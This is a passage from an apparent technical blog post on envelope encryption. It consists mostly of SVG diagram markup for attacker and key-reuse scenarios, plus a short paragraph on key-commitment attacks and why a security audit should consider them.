<text text-anchor="middle" x="392" y="308" fill="currentColor">E</text>
<text text-anchor="middle" x="392" y="564" fill="currentColor">E</text>
<text text-anchor="middle" x="392" y="676" fill="currentColor">)</text>
<text text-anchor="middle" x="400" y="36" fill="currentColor">c</text>
<text text-anchor="middle" x="400" y="84" fill="currentColor">d</text>
<text text-anchor="middle" x="400" y="148" fill="currentColor">)</text>
<text text-anchor="middle" x="400" y="164" fill="currentColor">E</text>
<text text-anchor="middle" x="400" y="308" fill="currentColor">)</text>
<text text-anchor="middle" x="400" y="564" fill="currentColor">)</text>
<text text-anchor="middle" x="408" y="36" fill="currentColor">m</text>
<text text-anchor="middle" x="408" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="408" y="164" fill="currentColor">C</text>
<text text-anchor="middle" x="416" y="36" fill="currentColor">k</text>
<text text-anchor="middle" x="416" y="84" fill="currentColor">}</text>
<text text-anchor="middle" x="416" y="164" fill="currentColor">2</text>
<text text-anchor="middle" x="424" y="36" fill="currentColor">_</text>
<text text-anchor="middle" x="424" y="164" fill="currentColor">)</text>
<text text-anchor="middle" x="424" y="420" fill="currentColor">P</text>
<text text-anchor="middle" x="432" y="36" fill="currentColor">i</text>
<text text-anchor="middle" x="440" y="36" fill="currentColor">d</text>
<text text-anchor="middle" x="448" y="36" fill="currentColor">)</text>
<text text-anchor="middle" x="464" y="4" fill="currentColor">K</text>
<text text-anchor="middle" x="472" y="4" fill="currentColor">M</text>
<text text-anchor="middle" x="480" y="4" fill="currentColor">S</text>
</g>

 </svg>
 
</div>

</div>

</div>
 <figcaption><span>Figure 5: Attack on a reused DK and proposed prevention.</span></figcaption>
 </figure>
<p>Some funky attacks are possible if an algorithm without key commitment property is used with data
keys: an attacker can generate a single ciphertext that correctly decrypts under different keys.
Though this is unlikely, the key commitment should be considered as part of a security audit.</p>

<figure>
<div class="goat svg-container ">
 
 <svg xmlns="http://www.w3.org/2000/svg" font-family="Menlo,Lucida Console,monospace" viewbox="0 0 536 809">
 <g transform="translate(8,16)">
<path d="M 256,48 L 496,48" fill="none" stroke="currentColor"></path>
<path d="M 264,96 L 272,96" fill="none" stroke="currentColor"></path>
<path d="M 288,96 L 296,96" fill="none" stroke="currentColor"></path>
<path d="M 304,96 L 312,96" fill="none" stroke="currentColor"></path>
<path d="M 320,96 L 328,96" fill="none" stroke="currentColor"></path>
<path d="M 336,96 L 344,96" fill="none" stroke="currentColor"></path>
<path d="M 352,96 L 360,96" fill="none" stroke="currentColor"></path>
<path d="M 368,96 L 376,96" fill="none" stroke="currentColor"></path>
<path d="M 384,96 L 392,96" fill="none" stroke="currentColor"></path>
<path d="M 400,96 L 408,96" fill="none" stroke="currentColor"></path>
<path d="M 416,96 L 424,96" fill="none" stroke="currentColor"></path>
<path d="M 432,96 L 440,96" fill="none" stroke="currentColor"></path>
<path d="M 448,96 L 456,96" fill="none" stroke="currentColor"></path>
<path d="M 464,96 L 472,96" fill="none" stroke="currentColor"></path>
<path d="M 480,96 L 488,96" fill="none" stroke="currentColor"></path>
<path d="M 496,96 L 504,96" fill="none" stroke="currentColor"></path>
<path d="M 56,144 L 256,144" fill="none" stroke="currentColor"></path>
<path d="M 56,192 L 64,192" fill="none" stroke="currentColor"></path>
<path d="M 72,192 L 80,192" fill="none" stroke="currentColor"></path>
<path d="M 88,192 L 96,192" fill="none" stroke="currentColor"></path>
<path d="M 104,192 L 112,192" fill="none" stroke="currentColor"></path>
<path d="M 120,192 L 128,192" fill="none" stroke="currentColor"></path>
<path d="M 136,192 L 144,192" fill="none" stroke="currentColor"></path>
<path d="M 152,192 L 160,192" fill="none" stroke="currentColor"></path>
<path d="M 168,192 L 176,192" fill="none" stroke="currentColor"></path>
<path d="M 184,192 L 192,192" fill="none" stroke="currentColor"></path>
<path d="M 200,192 L 208,192" fill="none" stroke="currentColor"></path>
<path d="M 216,192 L 224,192" fill="none" stroke="currentColor"></path>
<path d="M 232,192 L 248,192" fill="none" stroke="currentColor"></path>
<path d="M 0,240 L 48,240" fill="none" stroke="currentColor"></path>
<path d="M 48,240 L 104,240" fill="none" stroke="currentColor"></path>
<path d="M 360,240 L 504,240" fill="none" stroke="currentColor"></path>
<path d="M 504,240 L 520,240" fill="none" stroke="currentColor"></path>
<path d="M 48,288 L 496,288" fill="none" stroke="currentColor"></path>
<path d="M 56,336 L 64,336" fill="none" stroke="currentColor"></path>
<path d="M 80,336 L 88,336" fill="none" stroke="currentColor"></path>
<path d="M 96,336 L 104,336" fill="none" stroke="currentColor"></path>
<path d="M 112,336 L 120,336" fill="none" stroke="currentColor"></path>
<path d="M 128,336 L 136,336" fill="none" stroke="currentColor"></path>
<path d="M 144,336 L 152,336" fill="none" stroke="currentColor"></path>
<path d="M 160,336 L 168,336" fill="none" stroke="currentColor"></path>
<path d="M 176,336 L 184,336" fill="none" stroke="currentColor"></path>
<path d="M 192,336 L 200,336" fill="none" stroke="currentColor"></path>
<path d="M 208,336 L 216,336" fill="none" stroke="currentColor"></path>
<path d="M 224,336 L 232,336" fill="none" stroke="currentColor"></path>
<path d="M 240,336 L 248,336" fill="none" stroke="currentColor"></path>
<path d="M 256,336 L 264,336" fill="none" stroke="currentColor"></path>
<path d="M 272,336 L 280,336" fill="none" stroke="currentColor"></path>
<path d="M 288,336 L 296,336" fill="none" stroke="currentColor"></path>
<path d="M 304,336 L 312,336" fill="none" stroke="currentColor"></path>
<path d="M 320,336 L 328,336" fill="none" stroke="currentColor"></path>
<path d="M 336,336 L 344,336" fill="none" stroke="currentColor"></path>
<path d="M 352,336 L 360,336" fill="none" stroke="currentColor"></path>
<path d="M 368,336 L 376,336" fill="none" stroke="currentColor"></path>
<path d="M 384,336 L 392,336" fill="none" stroke="currentColor"></path>
<path d="M 400,336 L 408,336" fill="none" stroke="currentColor"></path>
<path d="M 416,336 L 424,336" fill="none" stroke="currentColor"></path>
<path d="M 432,336 L 440,336" fill="none" stroke="currentColor"></path>
<path d="M 448,336 L 456,336" fill="none" stroke="currentColor"></path>
<path d="M 464,336 L 472,336" fill="none" stroke="currentColor"></path>
<path d="M 480,336 L 488,336" fill="none" stroke="currentColor"></path>
<path d="M 496,336 L 504,336" fill="none" stroke="currentColor"></path>
<path d="M 48,384 L 496,384" fill="none" stroke="currentColor"></path>
<path d="M 56,432 L 64,432" fill="none" stroke="currentColor"></path>
<path d="M 80,432 L 88,432" fill="none" stroke="currentColor"></path>
<path d="M 96,432 L 104,432" fill="none" stroke="currentColor"></path>
<path d="M 112,432 L 120,432" fill="none" stroke="currentColor"></path>
<path d="M 128,432 L 136,432" fill="none" stroke="currentColor"></path>
<path d="M 144,432 L 152,432" fill="none" stroke="currentColor"></path>
<path d="M 160,432 L 168,432" fill="none" stroke="currentColor"></path>
<path d="M 176,432 L 184,432" fill="none" stroke="currentColor"></path>
<path d="M 192,432 L 200,432" fill="none" stroke="currentColor"></path>
<path d="M 208,432 L 216,432" fill="none" stroke="currentColor"></path>
<path d="M 224,432 L 232,432" fill="none" stroke="currentColor"></path>
<path d="M 240,432 L 248,432" fill="none" stroke="currentColor"></path>
<path d="M 256,432 L 264,432" fill="none" stroke="currentColor"></path>
<path d="M 272,432 L 280,432" fill="none" stroke="currentColor"></path>
<path d="M 288,432 L 296,432" fill="none" stroke="currentColor"></path>
<path d="M 304,432 L 312,432" fill="none" stroke="currentColor"></path>
<path d="M 320,432 L 328,432" fill="none" stroke="currentColor"></path>
<path d="M 336,432 L 344,432" fill="none" stroke="currentColor"></path>
<path d="M 352,432 L 360,432" fill="none" stroke="currentColor"></path>
<path d="M 368,432 L 376,432" fill="none" stroke="currentColor"></path>
<path d="M 384,432 L 392,432" fill="none" stroke="currentColor"></path>
<path d="M 400,432 L 408,432" fill="none" stroke="currentColor"></path>
<path d="M 416,432 L 424,432" fill="none" stroke="currentColor"></path>
<path d="M 432,432 L 440,432" fill="none" stroke="currentColor"></path>
<path d="M 448,432 L 456,432" fill="none" stroke="currentColor"></path>
<path d="M 464,432 L 472,432" fill="none" stroke="currentColor"></path>
<path d="M 480,432 L 488,432" fill="none" stroke="currentColor"></path>
<path d="M 496,432 L 504,432" fill="none" stroke="currentColor"></path>
<path d="M 48,464 L 72,464" fill="none" stroke="currentColor"></path>
<path d="M 56,496 L 72,496" fill="none" stroke="currentColor"></path>
<path d="M 56,560 L 64,560" fill="none" stroke="currentColor"></path>
<path d="M 72,560 L 80,560" fill="none" stroke="currentColor"></path>
<path d="M 88,560 L 96,560" fill="none" stroke="currentColor"></path>
<path d="M 104,560 L 112,560" fill="none" stroke="currentColor"></path>
<path d="M 120,560 L 128,560" fill="none" stroke="currentColor"></path>
<path d="M 136,560 L 144,560" fill="none" stroke="currentColor"></path>
<path d="M 152,560 L 160,560" fill="none" stroke="currentColor"></path>
<path d="M 168,560 L 176,560" fill="none" stroke="currentColor"></path>
<path d="M 184,560 L 192,560" fill="none" stroke="currentColor"></path>
<path d="M 200,560 L 208,560" fill="none" stroke="currentColor"></path>
<path d="M 216,560 L 224,560" fill="none" stroke="currentColor"></path>
<path d="M 232,560 L 248,560" fill="none" stroke="currentColor"></path>
<path d="M 256,608 L 496,608" fill="none" stroke="currentColor"></path>
<path d="M 264,656 L 272,656" fill="none" stroke="currentColor"></path>
<path d="M 288,656 L 296,656" fill="none" stroke="currentColor"></path>
<path d="M 304,656 L 312,656" fill="none" stroke="currentColor"></path>
<path d="M 320,656 L 328,656" fill="none" stroke="currentColor"></path>
<path d="M 336,656 L 344,656" fill="none" stroke="currentColor"></path>
<path d="M 352,656 L 360,656" fill="none" stroke="currentColor"></path>
<path d="M 368,656 L 376,656" fill="none" stroke="currentColor"></path>
<path d="M 384,656 L 392,656" fill="none" stroke="currentColor"></path>
<path d="M 400,656 L 408,656" fill="none" stroke="currentColor"></path>
<path d="M 416,656 L 424,656" fill="none" stroke="currentColor"></path>
<path d="M 432,656 L 440,656" fill="none" stroke="currentColor"></path>
<path d="M 448,656 L 456,656" fill="none" stroke="currentColor"></path>
<path d="M 464,656 L 472,656" fill="none" stroke="currentColor"></path>
<path d="M 480,656 L 488,656" fill="none" stroke="currentColor"></path>
<path d="M 496,656 L 504,656" fill="none" stroke="currentColor"></path>
<path d="M 256,688 L 280,688" fill="none" stroke="currentColor"></path>
<path d="M 312,720 L 320,720" fill="none" stroke="currentColor"></path>
<path d="M 264,736 L 280,736" fill="none" stroke="currentColor"></path>
<path d="M 0,768 L 48,768" fill="none" stroke="currentColor"></path>
<path d="M 48,768 L 256,768" fill="none" stroke="currentColor"></path>
<path d="M 256,768 L 504,768" fill="none" stroke="currentColor"></path>
<path d="M 504,768 L 520,768" fill="none" stroke="currentColor"></path>
<path d="M 0,240 L 0,768" fill="none" stroke="currentColor"></path>
<path d="M 48,16 L 48,240" fill="none" stroke="currentColor"></path>
<path d="M 48,240 L 48,288" fill="none" stroke="currentColor"></path>
<path d="M 48,288 L 48,384" fill="none" stroke="currentColor"></path>
<path d="M 48,384 L 48,464" fill="none" stroke="currentColor"></path>
<path d="M 48,464 L 48,768" fill="none" stroke="currentColor"></path>
<path d="M 48,768 L 48,784" fill="none" stroke="currentColor"></path>
<path d="M 72,464 L 72,496" fill="none" stroke="currentColor"></path>
<path d="M 256,16 L 256,48" fill="none" stroke="currentColor"></path>
<path d="M 256,48 L 256,144" fill="none" stroke="currentColor"></path>
<path d="M 256,144 L 256,224" fill="none" stroke="currentColor"></path>
<path d="M 256,256 L 256,272" fill="none" stroke="currentColor"></path>
<path d="M 256,304 L 256,320" fill="none" stroke="currentColor"></path>
<path d="M 256,352 L 256,368" fill="none" stroke="currentColor"></path>
<path d="M 256,400 L 256,416" fill="none" stroke="currentColor"></path>
<path d="M 256,448 L 256,464" fill="none" stroke="currentColor"></path>
<path d="M 256,496 L 256,608" fill="none" stroke="currentColor"></path>
<path d="M 256,608 L 256,688" fill="none" stroke="currentColor"></path>
<path d="M 256,688 L 256,768" fill="none" stroke="currentColor"></path>
<path d="M 256,768 L 256,784" fill="none" stroke="currentColor"></path>
<path d="M 280,688 L 280,736" fill="none" stroke="currentColor"></path>
<path d="M 504,16 L 504,240" fill="none" stroke="currentColor"></path>
<path d="M 504,240 L 504,768" fill="none" stroke="currentColor"></path>
<path d="M 504,768 L 504,784" fill="none" stroke="currentColor"></path>
<path d="M 520,240 L 520,768" fill="none" stroke="currentColor"></path>
<path d="M 256,272 L 256,280" fill="none" stroke="currentColor"></path>
<path d="M 256,296 L 256,304" fill="none" stroke="currentColor"></path>
<path d="M 256,320 L 256,328" fill="none" stroke="currentColor"></path>
<path d="M 256,344 L 256,352" fill="none" stroke="currentColor"></path>
<path d="M 256,368 L 256,376" fill="none" stroke="currentColor"></path>
<path d="M 256,392 L 256,400" fill="none" stroke="currentColor"></path>
<path d="M 256,416 L 256,424" fill="none" stroke="currentColor"></path>
<path d="M 256,440 L 256,448" fill="none" stroke="currentColor"></path>
<polygon points="64.000000,144.000000 52.000000,138.399994 52.000000,149.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 144.000000)"></polygon>
<polygon points="64.000000,336.000000 52.000000,330.399994 52.000000,341.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 336.000000)"></polygon>
<polygon points="64.000000,432.000000 52.000000,426.399994 52.000000,437.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 432.000000)"></polygon>
<polygon points="64.000000,496.000000 52.000000,490.399994 52.000000,501.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 496.000000)"></polygon>
<polygon points="256.000000,192.000000 244.000000,186.399994 244.000000,197.600006" fill="currentColor" transform="rotate(0.000000, 248.000000, 192.000000)"></polygon>
<polygon points="256.000000,560.000000 244.000000,554.400024 244.000000,565.599976" fill="currentColor" transform="rotate(0.000000, 248.000000, 560.000000)"></polygon>
<polygon points="272.000000,96.000000 260.000000,90.400002 260.000000,101.599998" fill="currentColor" transform="rotate(180.000000, 264.000000, 96.000000)"></polygon>
<polygon points="272.000000,656.000000 260.000000,650.400024 260.000000,661.599976" fill="currentColor" transform="rotate(180.000000, 264.000000, 656.000000)"></polygon>
<polygon points="272.000000,736.000000 260.000000,730.400024 260.000000,741.599976" fill="currentColor" transform="rotate(180.000000, 264.000000, 736.000000)"></polygon>
<polygon points="328.000000,720.000000 316.000000,714.400024 316.000000,725.599976" fill="currentColor" transform="rotate(0.000000, 320.000000, 720.000000)"></polygon>
<polygon points="504.000000,48.000000 492.000000,42.400002 492.000000,53.599998" fill="currentColor" transform="rotate(0.000000, 496.000000, 48.000000)"></polygon>
<polygon points="504.000000,288.000000 492.000000,282.399994 492.000000,293.600006" fill="currentColor" transform="rotate(0.000000, 496.000000, 288.000000)"></polygon>
<polygon points="504.000000,384.000000 492.000000,378.399994 492.000000,389.600006" fill="currentColor" transform="rotate(0.000000, 496.000000, 384.000000)"></polygon>
<polygon points="504.000000,608.000000 492.000000,602.400024 492.000000,613.599976" fill="currentColor" transform="rotate(0.000000, 496.000000, 608.000000)"></polygon>
<text text-anchor="middle" x="16" y="4" fill="currentColor">A</text>
<text text-anchor="middle" x="24" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="32" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="40" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="48" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="56" y="4" fill="currentColor">k</text>
<text text-anchor="middle" x="64" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="64" y="132" fill="currentColor">s</text>
<text text-anchor="middle" x="64" y="276" fill="currentColor">E</text>
<text text-anchor="middle" x="64" y="324" fill="currentColor">{</text>
<text text-anchor="middle" x="64" y="372" fill="currentColor">E</text>
<text text-anchor="middle" x="64" y="420" fill="currentColor">{</text>
<text text-anchor="middle" x="72" y="4" fill="currentColor">r</text>
<text text-anchor="middle" x="72" y="132" fill="currentColor">t</text>
<text text-anchor="middle" x="72" y="180" fill="currentColor">(</text>
<text text-anchor="middle" x="72" y="276" fill="currentColor">n</text>
<text text-anchor="middle" x="72" y="324" fill="currentColor">E</text>
<text text-anchor="middle" x="72" y="372" fill="currentColor">n</text>
<text text-anchor="middle" x="72" y="420" fill="currentColor">E</text>
<text text-anchor="middle" x="72" y="532" fill="currentColor">(</text>
<text text-anchor="middle" x="80" y="132" fill="currentColor">o</text>
<text text-anchor="middle" x="80" y="180" fill="currentColor">E</text>
<text text-anchor="middle" x="80" y="276" fill="currentColor">c</text>
<text text-anchor="middle" x="80" y="324" fill="currentColor">2</text>
<text text-anchor="middle" x="80" y="372" fill="currentColor">c</text>
<text text-anchor="middle" x="80" y="420" fill="currentColor">3</text>
<text text-anchor="middle" x="80" y="532" fill="currentColor">E</text>
<text text-anchor="middle" x="80" y="548" fill="currentColor">i</text>
<text text-anchor="middle" x="88" y="132" fill="currentColor">r</text>
<text text-anchor="middle" x="88" y="180" fill="currentColor">,</text>
<text text-anchor="middle" x="88" y="276" fill="currentColor">r</text>
<text text-anchor="middle" x="88" y="324" fill="currentColor">=</text>
<text text-anchor="middle" x="88" y="372" fill="currentColor">r</text>
<text text-anchor="middle" x="88" y="420" fill="currentColor">=</text>
<text text-anchor="middle" x="88" y="484" fill="currentColor">C</text>
<text text-anchor="middle" x="88" y="532" fill="currentColor">2</text>
<text text-anchor="middle" x="88" y="548" fill="currentColor">n</text>
<text text-anchor="middle" x="96" y="132" fill="currentColor">e</text>
<text text-anchor="middle" x="96" y="180" fill="currentColor">C</text>
<text text-anchor="middle" x="96" y="276" fill="currentColor">y</text>
<text text-anchor="middle" x="96" y="324" fill="currentColor">e</text>
<text text-anchor="middle" x="96" y="372" fill="currentColor">y</text>
<text text-anchor="middle" x="96" y="420" fill="currentColor">e</text>
<text text-anchor="middle" x="96" y="484" fill="currentColor">2</text>
<text text-anchor="middle" x="96" y="532" fill="currentColor">/</text>
<text text-anchor="middle" x="96" y="548" fill="currentColor">s</text>
<text text-anchor="middle" x="104" y="132" fill="currentColor">(</text>
<text text-anchor="middle" x="104" y="180" fill="currentColor">)</text>
<text text-anchor="middle" x="104" y="276" fill="currentColor">p</text>
<text text-anchor="middle" x="104" y="324" fill="currentColor">n</text>
<text text-anchor="middle" x="104" y="372" fill="currentColor">p</text>
<text text-anchor="middle" x="104" y="420" fill="currentColor">n</text>
<text text-anchor="middle" x="104" y="484" fill="currentColor">=</text>
<text text-anchor="middle" x="104" y="532" fill="currentColor">E</text>
<text text-anchor="middle" x="104" y="548" fill="currentColor">t</text>
<text text-anchor="middle" x="112" y="132" fill="currentColor">E</text>
<text text-anchor="middle" x="112" y="276" fill="currentColor">t</text>
<text text-anchor="middle" x="112" y="324" fill="currentColor">c</text>
<text text-anchor="middle" x="112" y="372" fill="currentColor">t</text>
<text text-anchor="middle" x="112" y="420" fill="currentColor">c</text>
<text text-anchor="middle" x="112" y="484" fill="currentColor">k</text>
<text text-anchor="middle" x="112" y="532" fill="currentColor">3</text>
<text text-anchor="middle" x="112" y="548" fill="currentColor">e</text>
<text text-anchor="middle" x="120" y="132" fill="currentColor">,</text>
<text text-anchor="middle" x="120" y="244" fill="currentColor">D</text>
<text text-anchor="middle" x="120" y="276" fill="currentColor">(</text>
<text text-anchor="middle" x="120" y="324" fill="currentColor">(</text>
<text text-anchor="middle" x="120" y="372" fill="currentColor">(</text>
<text text-anchor="middle" x="120" y="420" fill="currentColor">(</text>
<text text-anchor="middle" x="120" y="484" fill="currentColor">e</text>
<text text-anchor="middle" x="120" y="532" fill="currentColor">,</text>
<text text-anchor="middle" x="120" y="548" fill="currentColor">a</text>
<text text-anchor="middle" x="128" y="132" fill="currentColor">C</text>
<text text-anchor="middle" x="128" y="244" fill="currentColor">a</text>
<text text-anchor="middle" x="128" y="276" fill="currentColor">c</text>
<text text-anchor="middle" x="128" y="324" fill="currentColor">c</text>
<text text-anchor="middle" x="128" y="372" fill="currentColor">c</text>
<text text-anchor="middle" x="128" y="420" fill="currentColor">c</text>
<text text-anchor="middle" x="128" y="484" fill="currentColor">y</text>
<text text-anchor="middle" x="128" y="532" fill="currentColor">E</text>
<text text-anchor="middle" x="128" y="548" fill="currentColor">d</text>
<text text-anchor="middle" x="136" y="132" fill="currentColor">=</text>
<text text-anchor="middle" x="136" y="244" fill="currentColor">t</text>
<text text-anchor="middle" x="136" y="276" fill="currentColor">m</text>
<text text-anchor="middle" x="136" y="324" fill="currentColor">m</text>
<text text-anchor="middle" x="136" y="372" fill="currentColor">m</text>
<text text-anchor="middle" x="136" y="420" fill="currentColor">m</text>
<text text-anchor="middle" x="136" y="484" fill="currentColor">-</text>
<text text-anchor="middle" x="136" y="532" fill="currentColor">C</text>
<text text-anchor="middle" x="144" y="132" fill="currentColor">e</text>
<text text-anchor="middle" x="144" y="244" fill="currentColor">a</text>
<text text-anchor="middle" x="144" y="276" fill="currentColor">k</text>
<text text-anchor="middle" x="144" y="324" fill="currentColor">k</text>
<text text-anchor="middle" x="144" y="372" fill="currentColor">k</text>
<text text-anchor="middle" x="144" y="420" fill="currentColor">k</text>
<text text-anchor="middle" x="144" y="484" fill="currentColor">c</text>
<text text-anchor="middle" x="144" y="532" fill="currentColor">1</text>
<text text-anchor="middle" x="144" y="548" fill="currentColor">o</text>
<text text-anchor="middle" x="152" y="132" fill="currentColor">n</text>
<text text-anchor="middle" x="152" y="276" fill="currentColor">_</text>
<text text-anchor="middle" x="152" y="324" fill="currentColor">,</text>
<text text-anchor="middle" x="152" y="372" fill="currentColor">_</text>
<text text-anchor="middle" x="152" y="420" fill="currentColor">,</text>
<text text-anchor="middle" x="152" y="484" fill="currentColor">o</text>
<text text-anchor="middle" x="152" y="532" fill="currentColor">,</text>
<text text-anchor="middle" x="152" y="548" fill="currentColor">f</text>
<text text-anchor="middle" x="160" y="132" fill="currentColor">c</text>
<text text-anchor="middle" x="160" y="244" fill="currentColor">s</text>
<text text-anchor="middle" x="160" y="276" fill="currentColor">i</text>
<text text-anchor="middle" x="160" y="324" fill="currentColor">d</text>
<text text-anchor="middle" x="160" y="372" fill="currentColor">i</text>
<text text-anchor="middle" x="160" y="420" fill="currentColor">d</text>
<text text-anchor="middle" x="160" y="484" fill="currentColor">m</text>
<text text-anchor="middle" x="160" y="532" fill="currentColor">C</text>
<text text-anchor="middle" x="168" y="132" fill="currentColor">(</text>
<text text-anchor="middle" x="168" y="244" fill="currentColor">w</text>
<text text-anchor="middle" x="168" y="276" fill="currentColor">d</text>
<text text-anchor="middle" x="168" y="324" fill="currentColor">k</text>
<text text-anchor="middle" x="168" y="372" fill="currentColor">d</text>
<text text-anchor="middle" x="168" y="420" fill="currentColor">k</text>
<text text-anchor="middle" x="168" y="484" fill="currentColor">m</text>
<text text-anchor="middle" x="168" y="532" fill="currentColor">2</text>
<text text-anchor="middle" x="168" y="548" fill="currentColor">(</text>
<text text-anchor="middle" x="176" y="132" fill="currentColor">d</text>
<text text-anchor="middle" x="176" y="244" fill="currentColor">a</text>
<text text-anchor="middle" x="176" y="276" fill="currentColor">,</text>
<text text-anchor="middle" x="176" y="324" fill="currentColor">2</text>
<text text-anchor="middle" x="176" y="372" fill="currentColor">,</text>
<text text-anchor="middle" x="176" y="420" fill="currentColor">3</text>
<text text-anchor="middle" x="176" y="484" fill="currentColor">i</text>
<text text-anchor="middle" x="176" y="532" fill="currentColor">)</text>
<text text-anchor="middle" x="176" y="548" fill="currentColor">E</text>
<text text-anchor="middle" x="184" y="132" fill="currentColor">k</text>
<text text-anchor="middle" x="184" y="244" fill="currentColor">p</text>
<text text-anchor="middle" x="184" y="276" fill="currentColor">d</text>
<text text-anchor="middle" x="184" y="324" fill="currentColor">,</text>
<text text-anchor="middle" x="184" y="372" fill="currentColor">d</text>
<text text-anchor="middle" x="184" y="420" fill="currentColor">,</text>
<text text-anchor="middle" x="184" y="484" fill="currentColor">t</text>
<text text-anchor="middle" x="184" y="548" fill="currentColor">,</text>
<text text-anchor="middle" x="192" y="132" fill="currentColor">,</text>
<text text-anchor="middle" x="192" y="276" fill="currentColor">k</text>
<text text-anchor="middle" x="192" y="324" fill="currentColor">E</text>
<text text-anchor="middle" x="192" y="372" fill="currentColor">k</text>
<text text-anchor="middle" x="192" y="420" fill="currentColor">E</text>
<text text-anchor="middle" x="192" y="484" fill="currentColor">-</text>
<text text-anchor="middle" x="192" y="548" fill="currentColor">E</text>
<text text-anchor="middle" x="200" y="132" fill="currentColor">P</text>
<text text-anchor="middle" x="200" y="244" fill="currentColor">w</text>
<text text-anchor="middle" x="200" y="276" fill="currentColor">2</text>
<text text-anchor="middle" x="200" y="324" fill="currentColor">C</text>
<text text-anchor="middle" x="200" y="372" fill="currentColor">3</text>
<text text-anchor="middle" x="200" y="420" fill="currentColor">C</text>
<text text-anchor="middle" x="200" y="484" fill="currentColor">e</text>
<text text-anchor="middle" x="200" y="548" fill="currentColor">C</text>
<text text-anchor="middle" x="208" y="132" fill="currentColor">)</text>
<text text-anchor="middle" x="208" y="244" fill="currentColor">i</text>
<text text-anchor="middle" x="208" y="276" fill="currentColor">,</text>
<text text-anchor="middle" x="208" y="324" fill="currentColor">1</text>
<text text-anchor="middle" x="208" y="372" fill="currentColor">,</text>
<text text-anchor="middle" x="208" y="420" fill="currentColor">1</text>
<text text-anchor="middle" x="208" y="484" fill="currentColor">n</text>
<text text-anchor="middle" x="208" y="548" fill="currentColor">1</text>
<text text-anchor="middle" x="216" y="132" fill="currentColor">)</text>
<text text-anchor="middle" x="216" y="244" fill="currentColor">t</text>
<text text-anchor="middle" x="216" y="276" fill="currentColor">E</text>
<text text-anchor="middle" x="216" y="324" fill="currentColor">)</text>
<text text-anchor="middle" x="216" y="372" fill="currentColor">E</text>
<text text-anchor="middle" x="216" y="420" fill="currentColor">)</text>
<text text-anchor="middle" x="216" y="484" fill="currentColor">c</text>
<text text-anchor="middle" x="216" y="548" fill="currentColor">,</text>
<text text-anchor="middle" x="224" y="4" fill="currentColor">E</text>
<text text-anchor="middle" x="224" y="244" fill="currentColor">h</text>
<text text-anchor="middle" x="224" y="276" fill="currentColor">C</text>
<text text-anchor="middle" x="224" y="324" fill="currentColor">}</text>
<text text-anchor="middle" x="224" y="372" fill="currentColor">C</text>
<text text-anchor="middle" x="224" y="420" fill="currentColor">}</text>
<text text-anchor="middle" x="224" y="484" fill="currentColor">(</text>
<text text-anchor="middle" x="224" y="548" fill="currentColor">C</text>
<text text-anchor="middle" x="232" y="4" fill="currentColor">n</text>
<text text-anchor="middle" x="232" y="276" fill="currentColor">1</text>
<text text-anchor="middle" x="232" y="372" fill="currentColor">1</text>
<text text-anchor="middle" x="232" y="484" fill="currentColor">d</text>
<text text-anchor="middle" x="232" y="548" fill="currentColor">)</text>
<text text-anchor="middle" x="240" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="240" y="244" fill="currentColor">k</text>
<text text-anchor="middle" x="240" y="276" fill="currentColor">)</text>
<text text-anchor="middle" x="240" y="372" fill="currentColor">)</text>
<text text-anchor="middle" x="240" y="484" fill="currentColor">k</text>
<text text-anchor="middle" x="248" y="4" fill="currentColor">l</text>
<text text-anchor="middle" x="248" y="244" fill="currentColor">e</text>
<text text-anchor="middle" x="248" y="484" fill="currentColor">2</text>
<text text-anchor="middle" x="256" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="256" y="244" fill="currentColor">y</text>
<text text-anchor="middle" x="256" y="484" fill="currentColor">,</text>
<text text-anchor="middle" x="264" y="4" fill="currentColor">v</text>
<text text-anchor="middle" x="264" y="484" fill="currentColor">d</text>
<text text-anchor="middle" x="272" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="272" y="36" fill="currentColor">G</text>
<text text-anchor="middle" x="272" y="84" fill="currentColor">{</text>
<text text-anchor="middle" x="272" y="244" fill="currentColor">c</text>
<text text-anchor="middle" x="272" y="484" fill="currentColor">k</text>
<text text-anchor="middle" x="272" y="596" fill="currentColor">D</text>
<text text-anchor="middle" x="280" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="84" fill="currentColor">E</text>
<text text-anchor="middle" x="280" y="244" fill="currentColor">o</text>
<text text-anchor="middle" x="280" y="484" fill="currentColor">3</text>
<text text-anchor="middle" x="280" y="596" fill="currentColor">e</text>
<text text-anchor="middle" x="288" y="36" fill="currentColor">n</text>
<text text-anchor="middle" x="288" y="84" fill="currentColor">=</text>
<text text-anchor="middle" x="288" y="244" fill="currentColor">m</text>
<text text-anchor="middle" x="288" y="484" fill="currentColor">,</text>
<text text-anchor="middle" x="288" y="596" fill="currentColor">c</text>
<text text-anchor="middle" x="296" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="296" y="84" fill="currentColor">e</text>
<text text-anchor="middle" x="296" y="244" fill="currentColor">m</text>
<text text-anchor="middle" x="296" y="484" fill="currentColor">P</text>
<text text-anchor="middle" x="296" y="596" fill="currentColor">r</text>
<text text-anchor="middle" x="296" y="708" fill="currentColor">d</text>
<text text-anchor="middle" x="304" y="36" fill="currentColor">r</text>
<text text-anchor="middle" x="304" y="84" fill="currentColor">n</text>
<text text-anchor="middle" x="304" y="244" fill="currentColor">i</text>
<text text-anchor="middle" x="304" y="484" fill="currentColor">2</text>
<text text-anchor="middle" x="304" y="596" fill="currentColor">y</text>
<text text-anchor="middle" x="304" y="708" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="312" y="84" fill="currentColor">c</text>
<text text-anchor="middle" x="312" y="244" fill="currentColor">t</text>
<text text-anchor="middle" x="312" y="484" fill="currentColor">,</text>
<text text-anchor="middle" x="312" y="596" fill="currentColor">p</text>
<text text-anchor="middle" x="312" y="708" fill="currentColor">c</text>
<text text-anchor="middle" x="320" y="36" fill="currentColor">t</text>
